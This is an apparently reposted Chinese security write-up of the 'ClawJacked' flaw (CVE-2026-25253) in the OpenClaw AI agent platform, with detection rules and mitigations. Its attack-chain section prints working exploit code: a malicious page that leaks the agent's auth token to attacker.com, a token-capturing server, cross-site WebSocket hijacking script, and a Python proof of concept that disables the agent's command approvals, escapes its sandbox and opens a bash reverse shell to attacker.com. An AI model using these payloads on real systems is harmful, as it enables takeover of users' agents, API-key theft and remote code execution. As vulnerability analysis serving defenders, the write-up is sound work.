你的AI助手正在出卖你——ClawJacked(CVE-2026-25253)完整攻击链拆解

admin 2026-03-04 10:05:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章详细分析了OpenClawAIAgent平台的CVE-2026-25253高危漏洞。漏洞源于gatewayUrl参数缺乏校验、WebSocket无Origin验证及localhost无条件信任,导致攻击者可通过构造恶意链接在毫秒内窃取Token并实现远程代码执行。公网暴露实例超17500个,建议立即更新至v2026.1.29版本并轮换API密钥。 综合评分: 91 文章分类: 漏洞分析,漏洞预警,AI安全,漏洞POC,实战经验


cover_image

你的 AI 助手正在出卖你——ClawJacked(CVE-2026-25253)完整攻击链拆解

原创

北境 北境

0xArgus

2026年3月3日 09:12 北京

你的 AI 助手正在出卖你——ClawJacked(CVE-2026-25253)完整攻击链拆解

By 灵思 · AiSEC | 2026-03-03

CVSS 3.1: 8.8 HIGH | CWE-669 | 已修复版本: 2026.1.29


*AI Agent 正在成为高权限攻击面——一旦被劫持,攻击者拿到的不只是聊天记录,而是你的全部数字生命。*


0x00 前言:一个点击,全盘皆输

你把 OpenClaw 装在自己的 MacBook 上,连着 Claude、接着日历、管着代码仓库,它帮你发邮件、跑命令、管 workflow。用起来爽得一塌糊涂。

然后有一天,你点了一个链接。

就这一下,你的 AI 助手就不再属于你了。

Oasis Security 研究团队在 2026 年 2 月披露的 ClawJacked(CVE-2026-25253) 就是这样一个能在毫秒级别劫持你整个 AI Agent 的漏洞——不需要你安装任何插件,不需要你的系统有其他漏洞,只需要你访问一个精心构造的恶意页面。


0x01 目标:OpenClaw 是什么,凭什么成为靶子

OpenClaw(原名 Clawdbot,现更名 Moltbot)是一个本地自托管的 AI Agent 平台,2025 年 11 月发布,5天内 GitHub stars 破 10 万,最终突破 149,000 stars,成为史上增长最快的开源项目之一。

它的核心架构是一个运行在本地的 Gateway(网关),本质上是一个 WebSocket 服务器,默认监听 localhost:18789。Gateway 是整个系统的大脑:

▸管理身份验证(authToken)

▸编排 AI 对话与工具调用

▸控制文件系统访问、命令执行、消息推送

▸连接各种外部平台(日历、Slack、Terminal、GitHub……)

换句话说:谁拿到了 Gateway 的 Token,谁就相当于完全接管了这个用户的数字生活


0x02 漏洞根因:一个”善意”的设计假设

漏洞核心非常简单,但正因为简单,才更致命。

问题一:gatewayUrl 参数不做校验,直接信任

OpenClaw 的 Control UI 为了方便用户连接远程 Agent 或自定义配置,支持通过 URL 查询参数指定 WebSocket 端点:

● ● ●

https://your-openclaw-instance/?gatewayUrl=wss://your-custom-server.com

在修复前,前端代码在页面加载时的行为如下(核心逻辑来源于 app-settings.ts + app-lifecycle.ts):

typescript● ● ●

// app-settings.ts(漏洞版本伪代码)
const gatewayUrl = new URLSearchParams(window.location.search).get('gatewayUrl');
if (gatewayUrl) {
  settings.gatewayUrl = gatewayUrl; // 无校验,直接写入
}

// app-lifecycle.ts(漏洞版本伪代码)
// 页面加载后,自动连接当前 gatewayUrl
connectToGateway(settings.gatewayUrl);

// gateway.ts(漏洞版本伪代码)
// 连接时自动把本地存储的高权限 Token 一起发过去
ws.send(JSON.stringify({
  type: "hello",
  auth: { token: localStorage.getItem('authToken') } // ← Token 直接泄露给攻击者控制的服务器
}));

结论:只要诱导受害者访问一个带 ?gatewayUrl=wss://attacker.com 的 OpenClaw 链接,Token 就会在毫秒内飞到攻击者服务器。

问题二:WebSocket 没有 Origin 头校验(CSWSH)

浏览器的同源策略(SOP)对普通 HTTP 请求有严格限制,但 WebSocket 是个例外——浏览器不会阻止跨域的 WebSocket 连接。

OpenClaw 的 WebSocket 服务端对 Origin 头没有做严格校验,这意味着:任意网站的 JavaScript 都可以发起到 ws://localhost:18789 的连接。

javascript● ● ●

// 攻击者控制的任意网页中可执行
const ws = new WebSocket("ws://localhost:18789");
// 浏览器不会拦截!跨域限制不适用于 WebSocket

问题三:Localhost 连接被无条件信任

OpenClaw 有一个”优化用户体验”的设计:来自 localhost 的连接自动免审批

正常来说,新设备连接 Gateway 需要用户手动确认。但 localhost 来的请求?直接批准,不弹窗,无提示。

这三个问题叠加,构成了完整的攻击链。


0x03 攻击链详解:1-Click RCE Kill Chain

Oasis Security 将完整攻击链命名为 “1-Click RCE Kill Chain”,从受害者点击链接到攻击者获得 Shell,全程在毫秒级完成。

Step 1:Token 窃取(gatewayUrl 参数劫持)

攻击者构造钓鱼链接或在恶意页面中嵌入如下重定向:

html● ● ●

<!-- 恶意页面 stage1.html -->
<html>
<body>
  <h1>加载中,请稍候...</h1>
  <script>
    // 打开第二阶段攻击窗口(用于后续 CSWSH)
    window.open('https://attacker.com/stage2.html', '_blank');
    // 将当前窗口重定向到受害者的 OpenClaw 实例,携带恶意 gatewayUrl
    window.location.href =
      "http://localhost:18789/?gatewayUrl=wss://attacker.com/steal";
  </script>
</body>
</html>

受害者的浏览器打开这个页面后,OpenClaw 的 Control UI 自动加载,自动读取 gatewayUrl 参数,自动向 wss://attacker.com/steal 发起 WebSocket 连接,并携带 authToken

攻击者的服务端接到连接,立刻拿到 Token:

python● ● ●

# attacker_server.py - 攻击者 WebSocket 服务端(简化版)
import asyncio
import websockets
import json

stolen_token = None

async def handle(ws, path):
    global stolen_token
    raw = await ws.recv()
    data = json.loads(raw)
    # Token 就在这里
    stolen_token = data.get("auth", {}).get("token")
    print(f"[!] Token 已截获: {stolen_token}")
    await ws.send(json.dumps({"status": "ok"}))

asyncio.run(websockets.serve(handle, "0.0.0.0", 443, ssl=ssl_ctx))

Token 泄露,第一阶段完成。整个过程受害者看到的只是一个”加载中”的页面。


Step 2:跨站 WebSocket 劫持(CSWSH Pivot)

此时攻击者已持有受害者的高权限 authToken。第二阶段:用受害者浏览器作为跳板,直接连接 localhost:18789

javascript● ● ●

// stage2.html - 在受害者浏览器中运行
async function exploit() {
  // 从攻击者服务器拿到刚刚截获的 token
  const resp = await fetch("https://attacker.com/get-token");
  const { token } = await resp.json();

  // 直接在受害者浏览器里连接 localhost(跨域不受限)
  const ws = new WebSocket("ws://localhost:18789");

  ws.onopen = () => {
    // 用偷来的 token 认证
    ws.send(JSON.stringify({ type: "auth", token }));
  };

  ws.onmessage = async (event) => {
    const msg = JSON.parse(event.data);
    if (msg.type === "auth_ok") {
      await pwn(ws); // 进入下一阶段
    }
  };
}

因为 WebSocket 服务端没有校验 Origin,攻击者的 JS 从任意域名都能连到受害者的 localhost:18789。


Step 3:沙箱逃逸 + 提权

持有 operator.adminoperator.approvals 权限的 Token,攻击者可以通过 API 依次:

① 关闭用户确认提示

json● ● ●

{
  "type": "exec.approvals.set",
  "data": { "ask": "off" }
}

② 逃逸容器沙箱,切换到宿主机执行

json● ● ●

{
  "type": "config.patch",
  "data": { "tools.exec.host": "gateway" }
}

③ 执行任意命令(RCE)

python● ● ●

# Python 完整 PoC - 攻击者端执行
import json
import asyncio
import websockets

async def trigger_rce(target_uri, admin_token):
    async with websockets.connect(target_uri) as ws:
        # 1. 认证
        await ws.send(json.dumps({
            "type": "auth",
            "token": admin_token
        }))
        resp = json.loads(await ws.recv())
        print(f"[+] Auth: {resp}")

        # 2. 关闭沙箱审批
        await ws.send(json.dumps({
            "type": "exec.approvals.set",
            "data": {"ask": "off"}
        }))
        await ws.recv()

        # 3. 切换到宿主机执行模式
        await ws.send(json.dumps({
            "type": "config.patch",
            "data": {"tools.exec.host": "gateway"}
        }))
        await ws.recv()

        # 4. 执行反弹 Shell
        rce_payload = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
        await ws.send(json.dumps({
            "type": "node.invoke",
            "name": "system.run",
            "parameters": {
                "command": rce_payload,
                "background": True
            }
        }))
        result = json.loads(await ws.recv())
        print(f"[!] RCE 执行结果: {result}")

asyncio.run(trigger_rce("ws://localhost:18789", "sk-stolen-token-here"))

Step 4(额外加分项):密码爆破(无限速限制)

如果受害者的 OpenClaw 没有暴露在公网,攻击者也可以走另一条路:直接在受害者浏览器里对 localhost 进行密码爆破。

原因:OpenClaw 的速率限制对 localhost 来源豁免。

Oasis 测试数据显示:每秒可以尝试数百次密码,普通人用的常见密码在几秒内即可被攻破。一旦爆破成功,攻击者自动被注册为”可信设备”——同样无需用户确认。

四步走完,攻击者拿到了受害者机器上的完整 Shell,而用户全程什么都看不见。


0x04 实际暴露范围:17,500+ 实例在裸奔

hunt.io 的研究更让人头皮发麻:他们在公网上扫描到了超过 17,500 个暴露的 OpenClaw/Clawdbot/Moltbot 实例,遍布 52 个国家。

关键数据:

▸Clawdbot Control:占 68.9%

▸Moltbot Control:占 22.3%

▸OpenClaw Control:占 8.8%

▸98.6% 运行在云/托管基础设施上(DigitalOcean、阿里云、腾讯云)

▸主端口:18789(还有大量跑在 80/443,隐藏于反向代理后)

更糟糕的是,这些暴露实例里存储着受害者在 Claude、OpenAI、Google AI 等平台的 API Keys。攻击者一旦获取,可以直接消费这些密钥,产生高额账单,或用于更进一步的攻击。


0x05 漏洞时间线

| 时间 | 事件 | | — | — | | 2026-01-31 | OpenClaw 作者 Peter Steinberger 发布安全公告 (GHSA-g8p2-7wf7-98mq) | | 2026-01-30 | 修复版本 2026.1.29 发布 | | 2026-02-01 | CVE-2026-25253 由 MITRE 分配,录入 NVD | | 2026-02-02 | NVD 更新,MITRE 补充参考资料 | | 2026-02-03 | CISA-ADP 标注”Exploit, Third Party Advisory” | | 2026-02-26 | Oasis Security 公开完整技术报告 | | 2026-03-02 | Cyware 将其列为当日 Top 漏洞 |


0x06 CVSS 评分解读

● ● ●

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
基础分: 8.8 HIGH

| 指标 | 值 | 含义 | | — | — | — | | AV:N | 网络可达 | 通过互联网远程利用 | | AC:L | 低复杂度 | 无需特殊条件 | | PR:N | 无需权限 | 攻击者无需账号 | | UI:R | 需用户交互 | 受害者需点击一次 | | C:H | 机密性高危 | API Key、Token、私聊记录全部泄露 | | I:H | 完整性高危 | 可修改文件、配置、代码 | | A:H | 可用性高危 | 可执行破坏性命令 |

CVSS 2.0 基础分甚至给到了 10.0(Critical),足以说明其实际危害程度。


0x07 检测与 IOC

如果你担心自己已经被攻击,以下是关键检测指标:

网络层异常(浏览器开发者工具 / 代理日志)

● ● ●

# 可疑 WebSocket 连接特征
wss://[非受信域名]/[路径]?token=...
ws://attacker-c2.com/steal

Gateway 日志异常模式

● ● ●

# 关注以下序列(秒级窗口内出现)
1. 来自外部 IP 的 Bearer Token 首次出现
2. config.patch → tools.exec.host 变更
3. exec.approvals.set → ask: "off"
4. node.invoke 执行外部命令

SIEM 规则建议

yaml● ● ●

# 触发告警条件
- 浏览器进程发起到非本地/非白名单域的 WebSocket 连接
- Gateway 配置变更,但前 30s 内无本地认证事件
- 同一 Token 在 <5s 内从外部 IP 出现

0x08 修复与缓解

官方修复(强烈建议立即执行)

更新到 v2026.1.29 或更高版本。

修复逻辑:前端在加载时,若检测到 gatewayUrl 参数与当前存储值不同,必须显示确认弹窗,用户明确同意后才发起连接。同时 Token 不再在握手包中自动附带。

临时缓解措施(如无法立即更新)

bash● ● ●

# 1. 限制 Gateway 仅监听 127.0.0.1(已是默认行为,确认配置)
# 确保 openclaw config 中 gateway.host = "127.0.0.1"

# 2. 实施 CSP 限制 WebSocket 连接域
Content-Security-Policy: connect-src 'self' ws://localhost:18789

# 3. 网络层阻断外发 WebSocket 到非受信域名

# 4. 如果已暴露在公网,立即下线或加防火墙规则
iptables -A INPUT -p tcp --dport 18789 -s 0.0.0.0/0 ! -s 127.0.0.1 -j DROP

中长期架构建议

● ● ●

✅ Agent 永远不应该在生产机/工作机上裸跑 root
✅ 任何 AI Agent 运行环境应视同"高权限系统"严格管控
✅ 容器/MicroVM 隔离 > 依赖软件自身的沙箱
✅ "Local = Safe" 是错误假设,本地监听 ≠ 本地可信
✅ 轮换所有已暴露的 API Keys(Claude/OpenAI/Anthropic)

0x09 白帽视角:AI Agent 时代的原罪

这个漏洞本质上是一个架构信任假设失误,不是什么 Buffer Overflow,不是什么复杂的内存破坏——就是一个”本地连接默认安全”的错误设定,加上 WebSocket 跨域不受 SOP 约束的设计惯例,叠加出来的灾难。

更值得警惕的是:OpenClaw 已经算是这个赛道里安全意识相对强的产品,还有多少 AI Agent 工具在相同甚至更基础的地方犯着同样的错误?

Cequence Security 的 CISO Randolph Barr 说了一句很到位的话:

“这个设计本来是为了让开发者体验更顺畅……这让采用速度更快,但也让防御控制更弱。”

AI Agent 这个赛道的增长速度远超其安全成熟度。工具给了用户”上帝模式”的能力——发消息、跑命令、访问一切——却没有与之匹配的权限隔离设计。

这不是 ClawJacked 最后一次出现在漏洞数据库里,这只是 AI Agent 安全漩涡的开始。


0x0A 参考资料

▸NVD – CVE-2026-25253

▸GitHub Advisory GHSA-g8p2-7wf7-98mq

▸Oasis Security 原始报告

▸The Hacker News – ClawJacked Flaw

▸SOCRadar – 1-Click RCE 分析

▸hunt.io – 互联网暴露实例扫描报告

▸hackers-arise.com – PoC 详解


*灵思 · AiSEC | 关注 AI 安全前沿,只写有料的*


— 0xArgus · 白帽极客安全情报 —


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xArgus 北境 北境《你的 AI 助手正在出卖你——ClawJacked(CVE-2026-25253)完整攻击链拆解》

评论:0   参与:  0